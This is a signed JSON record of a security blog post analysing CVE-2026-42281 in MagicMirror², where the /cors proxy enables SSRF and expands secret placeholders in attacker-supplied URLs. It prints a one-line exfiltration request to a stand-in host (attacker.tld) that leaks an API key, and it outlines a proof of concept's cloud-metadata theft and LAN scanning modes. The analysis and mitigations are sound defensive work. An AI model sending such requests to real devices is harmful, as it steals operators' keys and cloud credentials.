-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The /cors endpoint was written for the kiosk threat model\n\nMagicMirror² is the open-source smart-mirror project from MagicMirrorOrg. It runs as a Node.js plus Electron app on a Raspberry Pi behind a two-way mirror, displaying weather, calendar entries, news headlines, and stock tickers in a kitchen or hallway. Modules are browser-side; they fetch from third-party APIs over XHR. Browser CORS policy blocks most of those calls, so the project added a server-side proxy at `GET /cors`. The handler accepts a `url` query parameter and re-issues the request from the Node process, returning the response body to the browser. By design, it is an open HTTP client.\n\nThe kiosk threat model is what justified this design. A MagicMirror is something you put on your own wall and look at. The server binds to localhost by default. The default `ipWhitelist` is `[\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\"]`. The browser running on the mirror is the only client. Inside that frame, \"let modules fetch arbitrary URLs\" is a reasonable convenience, because the only caller is the device the operator owns.\n\nThe kiosk threat model is also wrong, and the patched release admits this in code.\n\n## ipWhitelist is the only authentication\n\nLook at `js/server.js` around the routing table. The order is helmet, then `ipAccessControl`, then the static directories and the routes. The route `/cors` is registered with `app.get(\"/cors\", async (req, res) => await cors(req, res))`. There is no session check, no token, no auth header, no per-route middleware between the IP filter and the handler. If a request makes it past the IP filter, `cors()` will run for whoever asked.\n\nThe IP filter itself is a thin wrapper around `ipaddr.process()`. It walks the whitelist, accepts CIDR entries, normalizes IPv6 forms. The interesting branch is the empty-array case in `js/ip_access_control.js`:\n\n```js\nif (!Array.isArray(whitelist) || whitelist.length === 0) {\n return function (req, res, next) {\n res.header(\"Access-Control-Allow-Origin\", \"*\");\n next();\n };\n}\n```\n\nAn empty whitelist means allow everything, including a permissive `Access-Control-Allow-Origin: *`. The MagicMirror docs and community guides routinely walk users through expanding `ipWhitelist` to their home subnet so they can hit the dashboard from a phone, then later through emptying the array to debug. Operators who do that have just removed the only gate that stood between the LAN and `/cors`.\n\nThat is the floor of authentication. The rest of the post sits on top of it.\n\n## The cors() handler is an open HTTP client\n\nHere is the vulnerable handler in v2.35.0, paraphrased from `js/server_functions.js`:\n\n```js\nconst match = new RegExp(\"url=(.+?)$\", \"g\").exec(req.url);\nurl = match[1];\nif (config.hideConfigSecrets) {\n url = replaceSecretPlaceholder(url);\n}\nconst headersToSend = getHeadersToSend(req.url);\nconst expectedReceivedHeaders = geExpectedReceivedHeaders(req.url);\nconst response = await fetch(url, { headers: headersToSend });\nif (response.ok) {\n for (const header of expectedReceivedHeaders) {\n res.set(header, response.headers.get(header));\n }\n res.send(Buffer.from(await response.arrayBuffer()));\n}\n```\n\nRead it as a contract. The caller hands the server a URL. The server fetches it. The caller hands the server a list of outbound headers via `sendheaders=`, and the server attaches them. The caller hands the server a list of inbound headers via `expectedheaders=`, and the server passes those response headers back. The body of the response goes back verbatim as bytes.\n\nThere is no protocol check. The URL can be `file:`, `gopher:`, `ftp:`, `http://169.254.169.254/latest/meta-data/`, `http://192.168.1.1/`, or `http://localhost:6379/`. The Node fetch implementation will accept what it accepts, and the server will relay whatever comes back.\n\nThere is no host check. There is no DNS resolution before the call to fetch. There is nothing that says \"if the resolved address is in RFC1918, refuse.\" There is no localhost block. There is no metadata-service block.\n\nThere is no rate limit. There is no logging beyond `Log.log(\"cors url: \" + url)`.\n\nThis is a fully attacker-controlled HTTP client. The only thing that limits its reach is the network the Node process is sitting on, and the Node process is, by deployment convention, sitting on a small LAN that contains the operator's router admin panel, their printers, their smart locks, and, if the kiosk is hosted in the cloud, their cloud metadata service.\n\n## hideConfigSecrets is the gate that wires the env-var leak\n\nNow read `replaceSecretPlaceholder`, also in v2.35.0:\n\n```js\nfunction replaceSecretPlaceholder (input) {\n return input.replaceAll(/\\*\\*(SECRET_[^*]+)\\*\\*/g, (match, group) => {\n return process.env[group];\n });\n}\n```\n\nThe function was designed to support module configurations that say `apiKey: \"**SECRET_OPENWEATHER**\"` and have the server substitute the real key from the environment. The intended caller is the config loader. The function does no validation on where the input came from.\n\nThe `cors()` handler calls this function on the request URL, gated on `config.hideConfigSecrets`. Read that gate slowly. The semantic of `hideConfigSecrets` is \"redact secrets from the `/config` response, because we do not want the browser to show them.\" It is a defensive flag. Operators turn it on because the documentation tells them it protects them.\n\nWhen `hideConfigSecrets` is on, two things happen. The first is that `/config` returns a redacted version of the config object. The second is that `/cors` begins expanding `**SECRET_*` placeholders in attacker-supplied URLs. The flag named for hiding secrets is also the flag that opens an exfiltration primitive for them.\n\nThe attack request is one line:\n\n```\nGET /cors?url=https://attacker.tld/?leak=**SECRET_OPENAI_API_KEY**\n```\n\nThe server reads the request, matches the regex, sees the placeholder, calls into `process.env`, builds the substituted URL `https://attacker.tld/?leak=sk-proj-...`, and fetches it. The fetch logs as a normal outbound request. The query string carries the key. The attacker host receives the key in their access log.\n\nThere is no asymmetry of trust here that the design accounts for. The placeholder syntax was meant for the config loader. The `cors()` handler reuses the loader function on input it never validated.\n\n## The PoC reads the playbook out loud\n\nThe reference exploit lives at `github.com/Astaruf/CVE-2026-42281`. It is a 633-line Python script with six modes. Each one targets one feature of the `cors()` handler and turns it into a primitive.\n\n`--check` does a baseline reachability test. The PoC sends `GET /cors?url=https://httpbin.org/get` and inspects the response. If the body is the httpbin JSON, the proxy is live.\n\n`--config` drains `/config`. The MagicMirror server exposes the full config object at `GET /config` when `hideConfigSecrets` is off, or a redacted version when it is on. The PoC fetches the endpoint directly, JSON-parses the result, and recursively walks every object for keys whose names match `key`, `token`, `secret`, `password`, `pass`, `apikey`, `auth`, `credential`. This is the unauthenticated exfil pass that does not even require the `/cors` trick. The `/config` endpoint sits behind the same `ipWhitelist` gate as everything else.\n\n`--cloud` is the high-value one. The PoC iterates a table of cloud metadata endpoints: AWS IMDSv1 at `169.254.169.254` (with the optional `X-aws-ec2-metadata-token` dance for IMDSv2), GCP `metadata.google.internal` with `Metadata-Flavor: Google`, Azure `169.254.169.254` with `Metadata: true`, OCI `169.254.169.254/opc/v2`, DigitalOcean, Alibaba, Hetzner, IBM Cloud, the Kubernetes API at `10.x` and `172.x` ranges, Rancher, Equinix. For AWS specifically, if the PoC finds a list of IAM roles at `/latest/meta-data/iam/security-credentials/`, it auto-follows to grab the temporary credentials. The `cors()` handler relays every one of these requests without complaint.\n\n`--port-scan` opens a `ThreadPoolExecutor` with thirty workers and walks a target host on the LAN. It sends `GET /cors?url=http://192.168.1.1:22/` and similar, recording the HTTP status and timing. Connection-refused looks different from open-but-not-HTTP, which looks different from a real HTTP response. With thirty parallel proxied probes, a /24 is mapped in under a minute.\n\n`--headers` reads back response headers via `expectedheaders=`. That is the primitive for fingerprinting internal services that do not return useful bodies but do return distinctive `Server:` or `X-Powered-By:` headers.\n\n`--open-proxy` is the catch-all. It exposes the `/cors` endpoint to the public internet as a forward proxy that anyone can ride. Combine it with the env-var leak and you have an open relay that signs outbound requests with the operator's live API keys.\n\nSix modes, one endpoint, one config flag.\n\n## The patch closes the kiosk threat model\n\nThe v2.36.0 release rewrites `cors()` and `replaceSecretPlaceholder`. The diff names the threat model out loud.\n\nFirst, a new top-level config key. The cors function reads `global.config.cors` and refuses to run if the value is `\"disabled\"`. If the value is `\"allowWhitelist\"`, the handler requires `global.config.corsDomainWhitelist` and rejects any hostname not on the list. If the value is `\"allowAll\"`, the handler still runs but with the SSRF protections below.\n\nSecond, a protocol check. After parsing the URL with `new URL(url)`, the handler rejects anything that is not `http:` or `https:`.\n\nThird, an explicit localhost block before DNS:\n\n```js\nif (parsed.hostname.toLowerCase() === \"localhost\") {\n return res.status(403).json({ error: \"Forbidden: private or reserved addresses are not allowed\" });\n}\n```\n\nThe string `localhost` is rejected by name before any resolver gets involved.\n\nFourth, a DNS lookup and IP range check:\n\n```js\nconst { address, family } = await dns.promises.lookup(parsed.hostname);\nif (ipaddr.process(address).range() !== \"unicast\") {\n return res.status(403).json({ error: \"Forbidden: private or reserved addresses are not allowed\" });\n}\n```\n\nThe `ipaddr.js` library tags every address with a range (`unicast`, `loopback`, `linkLocal`, `private`, `reserved`, `multicast`, `broadcast`, `carrierGradeNat`, `unspecified`). The patch inverts the allowlist: only `unicast` is permitted. Everything that smells private, reserved, or special is gone.\n\nFifth, a pinned dispatcher. The validated IP is wired into an `undici.Agent` whose `connect.lookup` callback returns the address that already passed validation. The comment in the source names the threat: `// This prevents DNS rebinding / TOCTOU attacks (GHSA-xhvw-r95j-xm4v)`. Without the pin, an attacker could resolve to a public IP for the validation pass and a private IP for the actual fetch. The pin closes that gap.\n\nSixth, the secrets gate. The new `replaceSecretPlaceholder` refuses to substitute when cors mode is `allowAll`:\n\n```js\nif (global.config.cors !== \"allowAll\") {\n return input.replaceAll(/* expand env vars */);\n} else {\n if (input.includes(\"**SECRET_\")) {\n Log.error(\"Replacing secrets doesn't work with CORS `allowAll`, you need to set `cors` to `disabled` or `allowWhitelist` in `config.js`\");\n }\n return input;\n}\n```\n\nThe flag that wired the leak is now disarmed in the mode where attacker URLs can reach the substitution. The error message names the trade-off explicitly to the operator.\n\nSix countermeasures answering six attack modes. The patch is not a one-line fix. It is an admission, written in code, that the kiosk threat model never matched the deployment reality.\n\n## The threat model is in the release notes now\n\nThis is the part worth lingering on. MagicMirror² is not a server in the data-center sense. It is a device that sits in a kitchen or a hallway, on a home LAN, plugged into a Raspberry Pi. The original `/cors` design assumed the only client was the local browser. The patch assumes the client could be anything on the network with an IP address, including a cloud metadata service the kiosk happens to share a subnet with.\n\nThose are different products. The first product is a kiosk. The second product is an internet-exposed-by-accident HTTP proxy with environment-variable substitution. The code did not change between those two readings; the threat model did.\n\nFor operators on v2.35.0 and earlier, the immediate mitigations are: set `ipWhitelist` to the smallest set of literal IPs that need to reach the mirror; do not empty the array, ever; do not put the mirror on a public interface; treat `hideConfigSecrets` as the flag that enables secret expansion at `/cors`, not as the flag that protects them; and upgrade to v2.36.0, where the new `cors: \"disabled\"` default closes the proxy unless explicitly opened.\n\n## The catalog has two names for this shape\n\nThe first name is **trust inversion**. The control that was supposed to protect secrets, the `hideConfigSecrets` flag, is the same control that wired the exfiltration path. The protective gate and the leak gate are one boolean. Flipping it on to redact `/config` flips on env-var substitution against attacker-supplied URLs at `/cors`. There is no second control to disagree with the first; the protective intent and the offensive primitive share a line of code.\n\nThe second name is **internal only by convention**. The `/cors` endpoint had no authentication of its own, only the assumption that whoever reached the port was the local browser. Its safety was held by the deployment convention that the mirror sits behind the operator's home router, not by anything in the handler. The string `localhost` was never validated against; the resolved IP was never checked against an RFC1918 range; DNS was never resolved at all before the outbound fetch. The handler had no internal contract about who its caller was, because the framework offered none. v2.36.0 ends both: the new `cors` mode defaults to `\"disabled\"`, the env-var substitution refuses to run in the one mode that lets attacker URLs reach it, and the host check finally moves from the deployment topology into the handler.\n\nThe MagicMirror operator did not misconfigure their mirror. They followed the documentation. The documentation described a feature that was protective inside the original threat model. The model was retired, and the operator was not told.","closing_line":"The flag named to hide the secrets was the wire that leaked them.","hook_md":"The MagicMirror² operator turned `hideConfigSecrets` on because the documentation said it protects secrets. It does. It strips environment variables out of `/config` so the smart mirror on the kitchen wall never shows an API key to a guest reading the JSON. The same boolean, in the same release, on the same server, also reaches into outbound URLs at `/cors` and substitutes those environment variables before fetching. Any device on the same Wi-Fi can ask the mirror to fetch `https://attacker.tld/?leak=**SECRET_OPENAI_API_KEY**`, and the mirror will resolve the placeholder, attach the live key as a query string, and ship it to whatever host the attacker controls.","post_id":320,"slug":"magicmirror-cve-2026-42281-hideconfigsecrets-expands-them-in-cors","title":"CVE-2026-42281: MagicMirror's hideConfigSecrets Hides Them in /config. It Expands Them in /cors.","type":"initial","unreadable_sentence":"hideConfigSecrets does exactly what its name says. It hides them in /config. It expands them in /cors."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCah8+5gAKCRDeZjl4jgkQ Ju9SAPwMgGX1sXN796iJLcKVBuZ/q1iaNkC3o1h892yMcUyX9QD/Rl7fg+oVhH35 EBBqfOFDTExVooKQC+9Or0D0Rjn0ZAw= =xHR1 -----END PGP SIGNATURE-----